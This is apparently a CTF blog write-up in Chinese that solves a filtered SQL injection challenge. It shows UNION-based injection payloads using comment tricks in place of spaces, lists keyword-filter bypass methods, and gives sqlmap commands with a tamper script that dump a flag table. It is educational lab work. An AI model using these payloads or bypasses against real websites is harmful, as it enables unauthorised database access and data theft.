CTF-Web3-(SQL简单过滤绕过)

3.简单的sql注入

思路:

检测是否存在注入点的两种常用方法:(更多注入详情:Sqli-labs环境通关教程-学习)
1.基于报错的检测方法
一般这种方法是输入单引号’。看是否报错,如果数据库报错,说明后台数据库处理了我们输入的数据。那么有可能存在注
入点。
2.基于布尔的检测方法---(这只是最基础的判断)
这种方法是输入:

  • 1 and 1=1 ,通常这种情况会正常返回数据
  • 1 and 1=2 ,通常这种情况不会返回数据或者直接报错

或者

  • 1' and '1'='1 ,通常这种情况会正常返回数据
  • 1' and '1'='2 ,通常这种情况不会返回数据或者直接报辑

或者 ---(使用双引号)

如果以上都判断不出,就要考虑盲注了。

分析:
假如后台处理数据的sq语句(后台在输入上加了单引号)是:
     select name from user where id=' our_ input '
我们输入1' and '1'='1 , sq语句变为:
    select name from user where id='1' and 1'='1'
后台数据库仍然正常读取数据.
我们输入1' and '1'='2 , sq语句变为:
    select name from user where id='1' and '1'='2’
这样查询条件为假,数据库不能读取数据。

初步判断为单引号字符型注入,然后输入1 and 1=1 ,可以看到过滤了and并且空格被替换为了+ ,因此我们可以推断,这个题过滤了常用的sq|命令,可以
输入union and select from进行下测试,发现果然全被过滤掉了

补充:当空格被过滤时,通常用()或者/**/代替空格

爆数据库

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

发现数据库较多,尝试直接爆表

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

表太多了:

不过也暴露出了,我们想要的数据表。

爆字段,然而……报错了,information_schema.columns被过滤了

 

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1

所以就猜测字段名也是flag,试一下:(做CTF题,思路要活跃)

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

flag{Y0u_@r3_5O_dAmn_90Od}

其他补充:

我们尝试单引号:

 

 发现单引号没有被过滤,然后尝试逻辑运算,and被过滤了但还好or没有被过滤:

我们知道他过滤了很多关键字:and,select,from,union,where,但我们可以绕过关键字,方法有:关键字中间加/**/隔断,/*!关键字*/,关键字中间加%0b隔断,关键字重写(如:aandnd),大小写混合,双空格等等,尝试后/*!*/可以绕过,还是按套路,先拿flag做表名和字段名试试:

 说明存在flag表,那基本就是老套路了,可以继续用这个方法验证,下面我就直接爆flag了:

ps:这里还有一种检验表名是否存在的方式:

注意还可以尝试这个方法

用‘+‘号来代替空格:?id=1‘+union+select+flag+from+flag+wherewhere+‘t‘=‘t

使用Sqlmap:

来自:https://blog.csdn.net/dongyanwen6036/article/details/77825479

基于windows下的sqlmap:

这里我们会用到tamper,是Python写的,sqlmap一般自带,主要的作用是绕过WAF ,空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等。
这里用的level参数是执行测试的等级(1-5,默认为1) ,sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。

E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs

 

继续在web1数据库中查找

E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --table

(注意这里命令应该是 --tables 而这里用 --table也能成功,长见识了)


继续找吧

E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag --column



接下来就直接看结果吧

E:\CTF\sqlmap>python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 -T flag -C flag --dump


完。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值